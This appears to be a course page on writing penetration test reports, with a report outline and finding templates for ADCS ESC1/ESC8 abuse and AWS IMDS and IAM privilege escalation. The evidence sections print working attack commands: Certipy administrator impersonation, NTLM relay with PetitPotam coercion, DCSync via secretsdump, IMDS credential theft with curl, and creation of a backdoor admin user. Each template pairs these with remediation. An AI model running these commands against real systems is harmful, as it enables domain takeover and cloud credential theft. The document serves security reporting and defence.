8.3 Technical Report Writing

8.3 Technical Report Writing

What you're building: A complete, professional penetration test report — the kind that passes peer review, holds up to client scrutiny, and gets you invited back for the next engagement.

Produce a complete, professional penetration test report that provides the technical team with everything they need to understand and remediate every finding.

Technique: Full Engagement Documentation

Tools/Templates: TCM Security Template, OffSec Template, LaTeX, Pandoc

Procedure:

# Penetration Test Report Structure

1. **Cover Page:** Title, Engagement Dates, Author, Version, Classification (CONFIDENTIAL)
2. **Confidentiality Notice:** Legal disclaimer — who is authorized to view this document
3. **Executive Summary:** (see Action Item 2)
4. **Scope & Methodology:**
   - What was in scope (IP ranges, domains, excluded systems)
   - What was out of scope (e.g., no phishing, no DoS)
   - Testing methodology (PTES, OWASP, TIBER-EU)
   - Testing windows (hours, blackout periods)
5. **Finding Summary Table:** All findings sortable by severity
6. **Detailed Findings:** Full write-ups (see Action Item 1 template)
7. **Attack Narrative:** Chronological kill chain with timestamps (see Action Item 5)
8. **Appendices:**
   - A: Tools and versions used
   - B: Raw scan output (Nmap, BloodHound export)
   - C: Methodology notes and testing evidence log
   - D: Remediation roadmap with prioritization

Rules of Engagement are a separate pre-engagement control document, not part of the report-writing workflow itself. Use 8.3a Rules of Engagement for authorization, scope boundaries, stop conditions, communications, evidence handling, and stakeholder sign-off requirements.

Finding Summary Table

ID Finding Title Severity CVSS MITRE Status
VULN-01 Domain Admin via ADCS ESC1 Critical 9.8 T1649 Open
VULN-02 Cleartext Credentials in SYSVOL High 7.5 T1552.006 Open
VULN-03 LLMNR/NBT-NS Poisoning High 8.0 T1557.001 Open
VULN-04 Kerberoasting — Weak Service Account Passwords High 8.8 T1558.003 Open
VULN-05 Insecure SMB Signing Disabled Medium 6.8 T1187 Open

Attack Narrative Structure

Why: A timestamped attack narrative makes it trivially easy for the blue team to replay the attack in their SIEM and identify which alerts fired (or didn't). It's also the most compelling part of the report for leadership — a concrete story of how the crown jewels were reached.

NOTE: Use a consistent heading structure and professional font. Version every report draft (v0.1, v0.2, v1.0 final). Share drafts as PDFs, not Word documents — formatting breaks across versions and looks unprofessional.


ADCS Finding Templates

What you're building: Production-ready finding write-ups for the two most common ADCS misconfigurations encountered in enterprise engagements — saving 30–60 minutes per finding and ensuring technical accuracy.

ADCS misconfigurations are found in the majority of enterprise AD environments. These templates provide complete, accurate finding documentation for the two highest-severity scenarios.

ESC1 — SAN Abuse (Certificate Template Misconfiguration)

## Finding: ADCS Certificate Template Allows Subject Alternative Name Specification (ESC1)
**Severity:** Critical
**CVSS 3.1:** 9.8 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
**MITRE ATT&CK:** T1649 — Steal or Forge Authentication Certificates

### Description
The certificate template [TemplateName] has the `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` flag set
(`msPKI-Certificate-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT`), allowing any authenticated domain
user to request a certificate with an arbitrary Subject Alternative Name (SAN), including that
of a Domain Administrator. The certificate can then be used for Kerberos PKINIT authentication
to obtain a TGT as the target user.

### Evidence

# Identified via Certify
.\Certify.exe find /vulnerable
[!] Template Name: VulnerableTemplate
    msPKI-Certificate-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT
    Enrollment Rights: Domain Users

# Exploited via Certipy
certipy req -u lowpriv@contoso.com -p Password1 -target ca.contoso.com \
  -template VulnerableTemplate -ca 'Contoso-CA' -upn administrator@contoso.com
# [*] Certificate issued. Saved to administrator.pfx

certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
# [*] Got TGT. NTLM hash: aad3b435b51404eeaad3b435b51404ee:<hash>

### Impact
Any authenticated domain user can impersonate the Domain Administrator account and obtain a
TGT valid for Kerberos authentication. This provides full Active Directory compromise.

### Remediation
1. Remove `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` from the template (`msPKI-Certificate-Name-Flag`)
2. Restrict certificate enrollment permissions — remove "Domain Users" enrollment rights
3. Enable CA Manager Approval for templates with elevated permissions
4. Monitor Event ID 4886 (certificate requested) and 4887 (certificate issued) for anomalies
5. Consider deploying Microsoft Defender for Identity — detects PKINIT anomalies

ESC8 — NTLM Relay to ADCS HTTP Enrollment

## Finding: ADCS HTTP Enrollment Endpoint Vulnerable to NTLM Relay (ESC8)
**Severity:** Critical
**CVSS 3.1:** 9.0 (AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)
**MITRE ATT&CK:** T1649 — Steal or Forge Authentication Certificates

### Description
The ADCS Certificate Authority web enrollment endpoint (http://ca.contoso.com/certsrv/) does
not enforce HTTPS and lacks Extended Protection for Authentication (EPA). This allows an attacker
to coerce NTLM authentication from a domain controller (via PetitPotam/PrinterBug) and relay
those credentials to the CA enrollment endpoint, obtaining a certificate for the Domain Controller
computer account. The DC certificate can then be used to perform a DCSync attack.

### Evidence

# Step 1: Start ntlmrelayx targeting the CA enrollment endpoint
ntlmrelayx.py -t http://ca.contoso.com/certsrv/certfnsh.asp -smb2support \
  --adcs --template DomainController

# Step 2: Coerce DC authentication via PetitPotam
python3 PetitPotam.py -u '' -p '' attacker_ip dc01.contoso.com
# [*] Received NTLMv2 from dc01$ → relayed to CA → certificate obtained

# Step 3: Authenticate as DC and perform DCSync
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.10
secretsdump.py -k -no-pass dc01.contoso.com

### Remediation
1. Enforce HTTPS on all CA web enrollment endpoints — disable HTTP
2. Enable Extended Protection for Authentication (EPA) on IIS for the CA endpoint
3. Disable NTLM on the CA server (require Kerberos authentication)
4. Enforce SMB signing on all domain controllers (prevents SMB relay as a backup)
5. Apply MS-EFSRPC mitigations (KB5005413) to block PetitPotam coercion

Cloud Misconfiguration Finding Templates

What you're building: Accurate, complete finding templates for the two most common cloud misconfigurations found in AWS environments — immediately usable without needing to research remediation commands.

EC2 IMDS Without IMDSv2 Enforcement

## Finding: EC2 IMDS Does Not Require IMDSv2 (Token-Optionl Mode)
**Severity:** High
**CVSS 3.1:** 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
**MITRE ATT&CK:** T1552.005 — Unsecured Credentials: Cloud Instance Metadata API

### Description
Multiple EC2 instances are configured with IMDSv1 allowed (`HttpTokens: optional`). An attacker
with SSRF or code execution on the instance can retrieve IAM role credentials directly from
http://169.254.169.254/latest/meta-data/iam/security-credentials/ without any token. These
credentials allow privilege escalation within the AWS account.

### Evidence

# From a compromised EC2 instance (or via SSRF):
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# → InstanceRole

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/InstanceRole
# → AccessKeyId, SecretAccessKey, Token (valid for ~6 hours)

# Affected instances (discovered via aws cli):
aws ec2 describe-instances --query \
  'Reservations[*].Instances[?MetadataOptions.HttpTokens==`optional`].[InstanceId,PrivateDnsName]'

### Remediation
1. Enforce IMDSv2 on all EC2 instances:
   `aws ec2 modify-instance-metadata-options --instance-id i-xxxx --http-tokens required`
2. Apply an account-level SCP to deny `ec2:RunInstances` without IMDSv2:
   `Condition: { "StringNotEquals": { "ec2:MetadataHttpTokens": "required" } }`
3. Enable CloudTrail logging for `GetCallerIdentity` and `AssumeRole` API calls
4. Review existing IAM role policies for over-permissive access (see next finding)

Overly Permissive IAM Role (Privilege Escalation Path)

## Finding: IAM Role Grants Excessive Privileges — Privilege Escalation to Administrator
**Severity:** Critical
**CVSS 3.1:** 9.1 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N)
**MITRE ATT&CK:** T1078.004 — Valid Accounts: Cloud Accounts

### Description
The IAM role `EC2-WebApp-Role` attached to public-facing EC2 instances includes `iam:*` and
`sts:AssumeRole` permissions. An attacker who obtains these credentials (via SSRF, IMDS access,
or environment variable exposure) can create a new IAM user with Administrator access, perform
privilege escalation, and establish persistent access to the entire AWS account.

### Evidence

# Retrieved credentials via IMDS (see previous finding)
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

# Enumerate role permissions
aws iam list-attached-role-policies --role-name EC2-WebApp-Role
# → arn:aws:iam::aws:policy/AdministratorAccess (attached)

# Confirm privilege escalation path
aws sts get-caller-identity
# → "Arn": "arn:aws:sts::123456789012:assumed-role/EC2-WebApp-Role/i-..."

aws iam create-user --user-name attacker-backdoor
aws iam attach-user-policy --user-name attacker-backdoor \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

### Remediation
1. Apply least-privilege — replace `iam:*` with only the specific IAM actions required
2. Remove `sts:AssumeRole` from instance roles that don't require cross-account access
3. Enable IAM Access Analyzer to identify over-permissive policies automatically
4. Deploy AWS Config rules to alert on roles with `iam:*` or `AdministratorAccess` attached
5. Require MFA for all AWS console access; enforce via SCP

Part of Pillar 8: Reporting & Portfolio Development.